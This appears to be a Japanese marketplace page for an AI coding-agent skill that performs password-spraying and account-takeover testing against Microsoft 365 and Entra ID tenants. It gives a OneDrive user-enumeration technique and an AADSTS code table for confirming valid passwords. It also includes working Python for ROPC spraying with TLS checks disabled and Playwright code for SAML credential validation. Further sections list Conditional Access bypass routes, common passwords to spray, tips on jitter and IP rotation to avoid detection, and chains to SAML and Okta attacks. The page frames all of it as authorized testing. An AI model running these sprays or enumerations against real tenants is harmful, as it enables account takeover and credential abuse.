m365-entra-attack について
m365-entra-attackは、Microsoft 365とEntra IDテナントを許可のもとで評価するセキュリティスキルです。テナントやユーザーの調査、慎重な認証情報の検証、Conditional Accessの判定、アカウントロックに配慮したテストを扱います。
主な機能
- 01テナントとドメイン情報の調査
- 02OneDriveの差異を使ったユーザー列挙
- 03AADSTS認証結果の解釈
- 04低頻度の認証情報検証とロック制御
- 05Conditional Access制約の評価
活用シーン
- 01複数Entraテナントの攻撃面を棚卸し
- 02有効な認証情報とMFA・デバイス制御による拒否を区別
- 03機能アカウント候補を特定し試行回数を管理
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill m365-entra-attackインストール後、Claude Code で/m365-entra-attackを入力して読み込まれたか確認します。
詳細
このスキルを使うタイミング
次の場合に使用します:
- 対象が M365 / Entra ID を使用している(autodiscover.* レコード、login.microsoftonline.com へのリダイレクト、技術スタックのメモに「Microsoft Office 365」と記載されている)
- 企業のメールアドレス一覧、または情報窃取マルウェアによって流出した認証情報がある
- エンゲージメントに「認証情報スプレー攻撃」「パスワードスプレー攻撃」「Entra 攻撃」「M365 経由のアカウント乗っ取り」が含まれている
- 偵察で
*.onmicrosoft.com、*-my.sharepoint.com、enterpriseregistration.*、enterpriseenrollment.*を確認した - クライアントから「条件付きアクセス」「MFA バイパス」「準拠デバイス」について言及された
次の場合は使用しないでください:
- オンプレミスのみの Active Directory(別の AD 攻撃スキルを使用)
- サービス間のトークン攻撃(脅威モデルが異なります)
- フィッシングが必要な攻撃チェーン(フィッシングスキルの対象です)。ただし、ここで認証情報の検証手順に備えることはできます
テナントの検出(msftrecon)
# For each owned domain
msftrecon -d client.example
msftrecon -d clientltd.example
msftrecon -d sister-brand-school.example
出力の主なフィールド:
- テナント ID(ドメインが異なっていても、同じテナントを共有している場合と別々のテナントの場合があります。所有するすべてのドメインを必ずテストしてください)
- Federation Information.Namespace Type =
Managed(クラウドのみ、ROPC が機能します) |Federated(ADFS、攻撃方法が異なります) - SharePoint Detected(Yes = OneDrive 列挙ベクトルが利用可能)
- Communication Services Teams/Skype(認証後の横展開先)
- Admin Consent Endpoint accessible(同意フィッシングの攻撃対象)
危険信号: 組織が姉妹ドメイン用に複数の Entra テナントを保有している場合、それぞれが独立した攻撃対象領域であり、ユーザー一覧、アカウントロックアウトポリシー、CA 構成も別々です。1 回のスプレー攻撃ですべてをカバーできると思い込まないでください。
AADSTS コードのリファレンス(暗記してください)
| AADSTS | 意味 | ロックアウトへの影響 | 対処方法 |
|---|---|---|---|
| 50034 | ユーザーが存在しない | なし | スキップし、スプレー攻撃リストから削除 |
| 50126 | ユーザー名またはパスワードが無効 | 試行回数カウンターに +1 | ユーザーは存在します。上限内で後から別のパスワードを試してください |
| 50053 | アカウントがロックされています(Smart Lockout) | なし(すでにロック済み) | 事前に発生していたものとして SOC に報告し、再試行しないでください |
| 53003 | CA がトークンの発行をブロック | 試行回数カウンターに +1 | パスワードは有効です — 停止してください。パスワードは正しいです |
| 50076 | MFA が必要 | 試行回数カウンターに +1 | パスワードは有効です — 第 2 要素が必要です |
| 50079 | 強力な認証が必要 | 試行回数カウンターに +1 | パスワードは有効です — 50076 と同じです |
| 50158 | 外部認証が必要 | 試行回数カウンターに +1 | パスワードは有効です — フェデレーション MFA です |
| 530003 | デバイスの状態が必要 | 試行回数カウンターに +1 | パスワードは有効です — 準拠デバイスが必要です |
| 65001 | 同意が必要 | 試行回数カウンターに +1 | アプリの同意に関する問題であり、認証の問題ではありません |
| 700016 | アプリがテナントに存在しない | なし | ユーザーは別のテナントにいます。対象を調整してください |
| 90002 | テナントが存在しない | なし | テナント名の誤記、または無効なテナント |
重要なポイント: {53003, 50076, 50079, 50158, 530003} のいずれかのコードは、パスワードが正しいことを意味します。Microsoft は、認証情報の検証が成功した後にのみ、これらを返します。トークンを取得できなくても、確認済みの有効な情報として記録してください。
Smart Lockout の計算(上限の厳守)
Microsoft の既定のポリシー:
- 10 分間にサインインに 10 回失敗 → 1 分間のロックアウト
- サインインに 20 回失敗 → 指数バックオフにより、ロックアウト時間が段階的に長くなります
- カウンターはすべての認証フロー(ROPC + SAML + IMAP + EWS + SMTP + デバイスコード)で共有されます
エンゲージメントでの規律:
- 厳格な上限:ユーザーごとに、エンゲージメント期間全体でパスワードの試行は 2 回以下(一部のエンゲージメントでは 1 回)
- 状態ファイルはアトミックに書き込みます。2 つのテスト実行がカウンターを同時に更新しないようにしてください
- キルスイッチ:LOCKED 応答が N 件を超えたら実行を停止します(既存の攻撃者による活動、またはカウントミスが考えられます。いずれの場合も一時停止してください)
数学的な保証: ユーザーごとに 1 回試行するなら、Smart Lockout を引き起こすことはありません(1 < 10)。そのため、確認された AADSTS50053 はいずれも試行前から発生していたものです。これをアクティブな攻撃者の検出に利用してください(mid-engagement-ir-detection スキルを参照)。
ユーザー列挙 — ベクトルと強化状況(2026 年 5 月)
❌ 強化済み(差分がなくなりました)
GET /getuserrealm.srf?login=<email>&xml=1
テナントが所有するドメインに一致するメールアドレスに対して、常に同一の XML を返します。テナントレベルのみで、ユーザーレベルではありません。
POST /common/GetCredentialType
{"username":"<email>", "isOtherIdpSupported":true, ...}
適切なセッションがない場合は AADSTS1659001(flowToken がありません)を返すため、列挙できません。
GET /autodiscover/autodiscover.json/v1.0/<email>?Protocol=AutodiscoverV1
どのアドレスに対しても、同一の 200 と同じ JSON 本文を返します。2024 年ごろに強化済みです。
✅ 現在も有効(2026 年 5 月時点 — 有効期間を追跡)
OneDrive の個人サイトの差分:
GET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx HTTP/1.1
Host: <tenant>-my.sharepoint.com
- 302 → ユーザーが存在する(Authenticate.aspx への認証必須のリダイレクト)
- 404 → ユーザーが存在しない(404 FILE NOT FOUND)
- 認証試行はゼロ → ロックアウトへの影響もゼロ
- さらに、既存ユーザーの場合、
Sprequestdurationヘッダーが高速(約 40ms)です。存在しないユーザーでは約 600ms です。これは補助的なタイミングオラクルになります。
注意点:
- テナントで SharePoint がプロビジョニングされている場合にのみ機能します(msftrecon の
SharePoint Detected: Yesを確認してください) - Microsoft はこれらのエンドポイントを継続的に強化しています。利用を前提にする前に再検証してください
- Entra にユーザーが存在しても、OneDrive がプロビジョニングされていない場合があります(ライセンスに依存)。偽陰性の可能性があります
2026-05-17 の再検証(許可されたエンゲージメントでの再検証): OneDrive の列挙手法は、2026-05-17 時点でも引き続き有効です。検証結果:ライセンスを持つユーザーは約 57 KB の本文とともに HTTP 200 を返し、存在しないユーザーおよび共有メールボックスのアカウントは 0 バイトで 404 を返します。/_layouts/15/onedrive.aspx を付けない /personal/ ルートパスでも、同じ差分が返されます。
重要なユースケース:ライセンスの差分 = アカウント種別の判定材料。 OneDrive の 200/404 を ROPC の AADSTS50034/50126 と照合します。
| OneDrive | ROPC | 分類 |
|---|---|---|
| 200 | AADSTS50076(MFA が必要)または 50126 | ライセンスを持つ一般ユーザー(実在する従業員、MFA が強制適用されている) |
| 200 | AADSTS50034 | (通常は発生しません。不整合のため調査してください) |
| 404 | AADSTS50126 | 共有メールボックス/機能アカウント/サービスアカウント(OneDrive ライセンスはないが、パスワードはある)。歴史的に MFA が免除されてきたアカウント種別であり、パスワード推測の有力な標的です |
| 404 | AADSTS50034 | テナントに存在しません |
| 404 | AADSTS50076 | 例外的なケース(MFA が強制適用されている機能アカウント。まれです) |
OneDrive-404 と ROPC-50126 の組み合わせは、「MFA を回避できる可能性のある機能アカウント」を示すシグナルです。管理者は、MFA を満たせない自動化で使用されるという理由から、これらのアカウントを CA ポリシーの対象外にすることがよくあります。許可されたエンゲージメントでの再検証により、この有用性が確認されました。noreply@、purchase@、accounts@、postmaster@、transport@ が機能アカウントの候補として特定されました(あらゆるコングロマリットのテナントで一般的です)。
ROPC の AADSTS50034 / AADSTS50126 の差分:
- AADSTS50034(ユーザーが存在しない)の場合、Smart Lockout カウンターは増加しません
- AADSTS50126(パスワードが間違っている)の場合、カウンターは増加します
- そのため、ユーザーごとに 1 回試行するスプレーを粗いユーザー存在確認に利用できます(AADSTS50034 は不一致、AADSTS50126 は一致し、試行を 1 回消費します)
条件付きアクセスを回避する方法(ほとんどはブロックされますが、記録してください)
| ベクトル | 状態(2026年) | 備考 |
|---|---|---|
| ROPC の別の client_id(Microsoft Graph PowerShell、Azure CLI、Office) | 動作する場合があります | CA はアプリごとに設定できます。1b730954-1685-4b74-9bfd-dac224a7b894(Graph PS)、04b07795-8ddb-461a-bbee-02f9e1bf7b46(Azure CLI)、d3590ed6-52b3-4102-aeff-aad2292ab01c(Office)を試してください |
| 別のリソース(graph.microsoft.com / outlook.office.com / management.azure.com) | 動作する場合があります | CA の適用範囲はリソースごとに設定できます |
| EWS / IMAP / POP3 / SMTP の Basic Auth | ほとんど無効です | Microsoft は 2022 年 10 月に Basic Auth を非推奨としました。アカウントごとの例外は存在します |
| FOCI(Family of Client IDs) | トークンの更新経路 | ある FOCI クライアントのリフレッシュトークンを使って、別のクライアントのトークンを発行します |
| デバイスコードフィッシング | 成功します | ユーザー側の操作が必要です(多くのエンゲージメントでは対象外) |
| 準拠デバイスのエミュレーション | 困難です | Intune デバイスの登録が必要です。多大な労力を要し、内部協力者がいなければ不可能なことが少なくありません |
| AiTM セッション Cookie の窃取 | 成功します(フィッシングを伴う場合) | 現代の主要な手法ですが、フィッシングを伴わないエンゲージメントの範囲外です |
| FOCI と Family Refresh Token の窃取 | 認証後 | すでにトークンを保有している必要があります |
| 別の SP を経由した SAML SSO | 場合によります | 各エンタープライズアプリには独自の CA ポリシーがあります。CA が弱いアプリがあれば、そこを足掛かりにできます |
| VPN による地域制限の回避 | 場合によります | 「信頼できる場所」の CA ポリシーに本社の IP アドレスが含まれている場合は、その場所を出口とする VPN を使用します |
このエンゲージメントから得られた重要な知見: 準拠デバイスと MFA を要求する統一 CA ポリシーが適用されたテナントでは、上記のすべての経路で同じフローの AADSTS53003 が返されます。認証情報は有効ですが、外部からは使用できません。フィッシングを完了させて Cookie を窃取する方法だけが、現実的な攻撃者の経路です。 クライアントが脅威モデルを理解できるよう、これを明確に記録してください。
ROPC のパスワード検証(標準的なテスト)
単一試行で検証するパターン(Python):
import urllib.request, urllib.parse, ssl, time, json, os
ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
ATTEMPT_FILE = "engagement_log/o365_attempts.json"
HARD_CAP = 1 # or 2 — never higher
def attempt(email, password):
state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {}
if state.get(email.lower(), 0) >= HARD_CAP:
return {"status": "SKIPPED_CAP"}
body = urllib.parse.urlencode({
"resource": "https://graph.windows.net",
"client_id": "1b730954-1685-4b74-9bfd-dac224a7b894", # Microsoft Graph PowerShell
"client_info": "1",
"grant_type": "password",
"username": email,
"password": password,
"scope": "openid",
}).encode()
state[email.lower()] = state.get(email.lower(), 0) + 1
json.dump(state, open(ATTEMPT_FILE+".tmp", "w"))
os.replace(ATTEMPT_FILE+".tmp", ATTEMPT_FILE) # atomic
req = urllib.request.Request(
"https://login.microsoftonline.com/common/oauth2/token",
data=body, method="POST",
)
req.add_header("Content-Type", "application/x-www-form-urlencoded")
try:
r = urllib.request.urlopen(req, context=ctx, timeout=15)
body = json.loads(r.read())
# PARSE AS JSON — see CRITICAL TRAP below about substring matching
if "access_token" in body: # ← JSON key check, NOT substring
return {"status": "VALID", "body": body}
return {"status": "STATUS_200_NO_TOKEN", "body": body}
except urllib.error.HTTPError as e:
msg = e.read().decode(errors="ignore")
for code, status in [
("AADSTS50034", "INVALID_USER"),
("AADSTS50126", "INVALID_PW"),
("AADSTS50053", "LOCKED"),
("AADSTS53003", "VALID_CA_BLOCK"),
("AADSTS50076", "VALID_MFA"),
("AADSTS50079", "VALID_MFA"),
]:
if code in msg:
return {"status": status, "code": code}
return {"status": "OTHER", "msg": msg[:200]}
⚠ 重大な落とし穴 — AADSTS50076 の本文には文字列 "access_token" がそのまま含まれています
CA ポリシーで MFA が必須であり、ROPC ではそれを満たせない場合、Entra はステップアップチャレンジとして CA ポリシー ID の一覧を含む claims フィールドを含めたエラー本文を返します。
{
"error": "invalid_grant",
"error_description": "AADSTS50076: ...you must use multi-factor authentication...",
"error_codes": [50076],
"suberror": "basic_action",
"claims": "{\"access_token\":{\"capolids\":{\"essential\":true,\"values\":[\"<policy-id-1>\",\"<policy-id-2>\"]}}}"
}
"access_token" という文字列は、CA チャレンジの JSON 内に含まれています。 if "access_token" in raw_body: のように大まかな部分文字列チェックを行うと、MFA によってブロックされた試行をすべて、トークン発行の成功と誤判定します。
必ず JSON を解析してから、if "access_token" in parsed_dict: を確認してください — OAuth エラー本文に対して部分文字列で照合してはいけません。これは、2026-05-17 の許可を得たエンゲージメントでの再検証時に判明しました。部分文字列チェックにより、実際にはすべて MFA を正しく強制していた Sway/Yammer/Bookings/Tunnel の client_ids に対して、誤った「CA バイパス」が 7 件検出されました。
claims.access_token.capolids の値は、テナント内部の Conditional Access ポリシー ID です。偵察情報の補足には役立ちますが、トークンではありません。エンゲージメントのメモには「適用された CA ポリシー ID」として記録してください。これは防御側の手掛かりであり、攻撃側の成果ではありません。
実行ペース:
- 並行処理は絶対に使用しないでください。シングルスレッドで、逐次実行し、間隔を空けてください。これは調整可能な設定ではなく、厳守すべきルールです。 Entra には、ユーザーごとの Smart Lockout とは別に、IP 評判に基づくスプレー対策レイヤーがあります。これを作動させるのは、ユーザーごとの試行回数ではなく並行処理です。一度作動すると、一度しか試行していないアカウントに対しても
AADSTS50053(LOCKED)を大量に返します(数学的に考えて、実際のユーザー単位のロックアウトであるはずがありません。つまり、IP レベルの拒否です)。その結果、(a)存在確認データが汚染されます — 50053 が曖昧な値になり、ユーザーごとに 1 回という上限を使い切っているため再テストできません。(b)テナントにおいて、送信元 IP がスプレー元としてフラグ付けされます。許可を得たエンゲージメントで実際に観測されています。逐次実行から 12 スレッドに切り替えた結果、間隔を空けた 454 回の試行では 1 件だった誤ったAADSTS50053が、15 秒で約 183 件発生しました。 - 以前の「毎秒 30 リクエスト以下なら問題ない」という指針は、実際のテナントでは誤解を招きます。「1.5~3 秒のジッターを加えた逐次実行」と解釈してください。「毎秒 30 回まで並列化する」という意味ではありません。
- ユーザーごとについては、ロックアウトの原因を判定するうえで重要なのは状態ファイルに記録された厳格な上限だけです。IP 評判に関わるのは逐次実行の間隔です。
- 機械的な挙動に見えにくくするため、試行の間にランダムなジッター(1.5~5 秒)を加えてください。
- 緊急停止条件: ユーザーごとの上限が 1 の実行で
AADSTS50053が 5 件を超えて発生した場合は、停止してください。IP スプレー対策を作動させた(あなたの責任です。ペースを落とす/IP を変更する/クールダウンを待つ)か、実際の外部スプレーを検出した(検出事項です)かのどちらかです。いずれにせよ、続行する前に一時停止して原因を調査してください。
SAML SSO のブラウザーフロー(CA によって ROPC がブロックされた場合の確実な認証情報検証)
ROPC が AADSTS53003 を返した場合、パスワードが正しいことは確認できています。両方の認証経路で正しいことを証明し、Microsoft の CA ブロックページを証拠として記録するには、Playwright を使って SAML SSO をたどります。
import asyncio
from playwright.async_api import async_playwright
async def saml_validate(target_sp_url, username, password, screenshot_dir):
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True, args=["--ignore-certificate-errors"])
context = await browser.new_context(ignore_https_errors=True)
page = await context.new_page()
# Step 1: navigate to SP
await page.goto(target_sp_url, wait_until="networkidle", timeout=30000)
# Step 2: click sign-in (selectors vary per SP)
for sel in ["button:has-text('Sign in')", "a:has-text('Login')", "button:has-text('Azure')"]:
try:
await page.locator(sel).first.click(timeout=3000)
break
except: continue
await page.wait_for_load_state("networkidle", timeout=20000)
# Step 3: submit username at Microsoft
await page.locator('input[name="loginfmt"], input[type="email"]').first.fill(username)
await page.locator('input[type="submit"], #idSIButton9').first.click()
await page.wait_for_load_state("networkidle", timeout=20000)
# Step 4: submit password
await page.locator('input[name="passwd"], input[type="password"]').first.fill(password)
await page.locator('input[type="submit"], #idSIButton9').first.click()
await page.wait_for_load_state("networkidle", timeout=30000)
# Step 5: capture
await page.screenshot(path=f"{screenshot_dir}/saml_final.png", full_page=True)
content = await page.content()
cookies = await context.cookies()
await browser.close()
# Check outcome
low = content.lower()
if "convergedconditionalaccess" in low or "53003" in low:
return "CA_BLOCKED" # cred valid, CA wall
elif "verify your identity" in low or "approve sign in" in low:
return "MFA_REQUIRED" # cred valid, MFA wall
elif "we couldn't sign you in" in low or "wrong" in low:
return "INVALID"
elif "<post-auth-landing-marker>" in low or "dashboard" in low:
return "FULL_SUCCESS" # session obtained (replace marker per target app)
return "UNCLEAR"
Microsoft の ConvergedConditionalAccess ページ(ソース内の PageID)は、CA によるブロックを示す決定的な証拠です。
ロックアウトの差分によるアクティブな攻撃者の検出
ユーザーごとの試行上限が 1 回なのに、複数のユーザーで AADSTS50053(LOCKED)が表示された場合:
- これらのロックアウトを発生させたのはあなたではありません(計算上、1 < 10 です)。
- 外部の攻撃者がテナントに対してスプレー攻撃を実行中です。
- ロックされたユーザーをアルファベット順にまとめてください。ひとまとまりになっていれば、攻撃者はソート済みのユーザー名リストを使っています。
- スプレー開始時と終了時のロックアウト件数の差分を確認してください。 セッション中に新たに発生したロックアウトは、攻撃者が現在も活動中であることを示します。
- ロックされたメールアドレスの一覧を検出事項として記録してください(SOC が対応に利用できます。対象ユーザーのサインインログを取得します)。
これは、M365 スプレーエンゲージメントの最も影響の大きい副次的成果です。必ず追跡し、報告してください。
スプレー攻撃で試す一般的なパスワードパターン(複数ブランドのエンタープライズ対象)
<BrandName>@<Year>—<Brand>@2026、Tata@2026<BrandName>@123—<Brand>@123(非常によく使われます)<PlantCity>@<Year>—<City1>@2026、<City2>@2026(生産工場の都市名)<EmployeeID-as-password>— レガシーアプリでよく使われます(PAN 番号、従業員コード、電話番号の下 4 桁)Password@<year>、Welcome@<year>、Admin@<year>— 汎用的なデフォルト値<BrandName>@<Y2-digits>—<Brand>@26
エンゲージメントに関する注意事項: クライアントから漏えい認証情報のダンプ(stealer のログ)が提供された場合は、最初にそれを使用してください。漏えい認証情報はそれぞれ、そのユーザーに対する最も有力な既知の推測に対する上限付き試行 1 回分として扱います。
エンゲージメントの記録(必須)
M365 の試行はすべて JSONL に記録します:
{"ts":"2026-05-08T14:40:53","email":"user1@<client>.example","pw_first4":"<r4>","status":"VALID_CA_BLOCK","code":"AADSTS53003","attempts_used":1}
ユーザーごとのトラッカー(アトミック):
{"user1@<client>.example": 1, "user2@<client>.example": 1, ...}
IP ローテーションログ(日ごと):
2026-05-08 <src-ip> <ISP-AS> <operator-handle> Round 2 spray
これら 3 つの成果物は、レポートに添付する証拠です。次のエンゲージメントにも状態が引き継がれます。
実環境での調査結果のテンプレート(承認済みエンゲージメントから)
レポート用:
指摘事項:261 件の Entra アカウントが、事前にロックアウト状態
- 対象:進行中の外部からのパスワードスプレー攻撃を検出
- 証拠:
o365_results.jsonlをstatus=LOCKEDでフィルタリング - 計算:ユーザーあたり 1 回の試行 × LOCKED 261 件 ≠ 当社が原因
- SOC の対応:直近 30~60 日間のこれら 261 アカウントのサインインログを取得
指摘事項:有効な M365 認証情報 — <user>:<password>(CA によるブロック)
- 対象:有効な認証情報を確認
- 証拠:ROPC AADSTS53003 と SAML SSO の
ConvergedConditionalAccessページのスクリーンショット - Microsoft のドキュメントからの抜粋:「AADSTS53003 はパスワードの検証後にのみ返される」
- 推奨事項:パスワードを強制的にリセットし、組織全体で同様のパターンを監査
アンチパターン(避けるべきこと)
- 漏えいした認証情報を、同じユーザーの複数のリソースで使わないでください — CA がすべての経路をブロックする場合、追加の効果がないまま上限回数を消費します
- AADSTS50053 の後に再試行しないでください — アカウントはロックされています。再試行しても再びロックアウトが表示されるだけです
- ROPC/認証リクエストを並列化しないでください — 直列で、間隔を空けて実行してください。並行処理は Entra の IP 評判に基づくスプレー対策(Smart Lockout とは別の機能)を作動させ、誤検知の
AADSTS50053を大量に発生させ、結果を汚染し、IP にフラグを立てます。スレッドを追加して「高速化」しても、得られるものより失うもののほうが多くなります。安全に速度を上げる唯一の方法は、存在しないユーザーを事前に除外することです(GetCredentialTypeの小規模なバッチで 60 未満)。並行度は上げないでください。 - すべての Entra テナントをテストし忘れないでください — 関連ドメインが別々のテナントを使用し、パスワードポリシーも異なる場合がよくあります
- CA によるブロックの指摘を取り下げないでください — AADSTS53003 はパスワードが正しいことを意味します。そこが要点です
ツール
pip install --break-system-packages msftrecon o365spray # may need to clone msftrecon from GitHub
brew install pandoc # for report generation
go install -v github.com/projectdiscovery/... # PD toolkit for general recon
エンゲージメント作業ディレクトリ engagement_log/m365_validator.py に、事前構築済みの m365_validator.py テンプレートがあります。エンゲージメントに合わせて attempt() 関数を調整してください。
関連スキルとチェーン
hunt-mfa-bypass— AADSTS50053(ロックアウト)と AADSTS50126(パスワード誤り)、AADSTS50076(MFA 必須)の違いは、要素の有無を判定できる無料のオラクルになります。チェーンのプリミティブ:M365 の AADSTS50053 のロックアウト差分を確認 → ユーザーは MFA を有効にしているが、レガシー認証には CA が適用されていない →hunt-mfa-bypassで要素をプローブ(SMS フォールバック、音声フォールバック、OAuth デバイスコードフロー、レガシーエンドポイントに対する ROPC) → レガシープロトコル経由で条件付きアクセスをバイパス。hunt-ntlm-info— オンプレミスの NTLM トポロジー情報の漏えいを Entra へのパスワードスプレーに活用します。チェーンのプリミティブ:SharePoint/Exchange/IIS の匿名 NTLM Type-2 → AV_PAIR をデコードしてcorp.example.comを取得 →m365-entra-attackで openid-configuration を通じて Entra テナントを特定 → 現実的な UPN 形式を使って ROPC パスワードスプレー。okta-attack— ハイブリッド組織では、Entra とフェデレーションする IdP として Okta を使用します。チェーンのプリミティブ:M365 のgetuserrealmがNameSpaceType: Federatedを返し、AuthURL が*.okta.comを指す →okta-attackに移行してテナントを列挙 → Okta アカウント乗っ取り → Entra に SAML アサーションを送信 → M365 への完全なアクセスを取得。hunt-saml— フェデレーションテナントは署名済み SAML アサーションを受け入れるため、フェデレーション IdP に対する XSW または署名の除去によって Entra の制御を完全にバイパスできます。チェーンのプリミティブ:getuserrealmでフェデレーションを確認 → IdP を特定(ADFS/Okta/PingFederate) → IdP の/adfs/ls/または同等のエンドポイントに対してhunt-samlの XSW1-XSW8 を実行 → アサーションを偽造 → Entra がアクセスを許可。redteam-report-template— M365 の調査結果は、影響範囲が「組織が使用するすべての Microsoft サービス」に及ぶため、テナント、ユーザー、CA ポリシーを明確に示す必要があります。チェーンのプリミティブ:このスキルで検証した調査結果 →triage-validationの 7-Question Gate に通す → 影響範囲(対象のアプリ、ユーザー、データ)を明記し、redteam-report-templateでクライアント向け成果物にまとめる。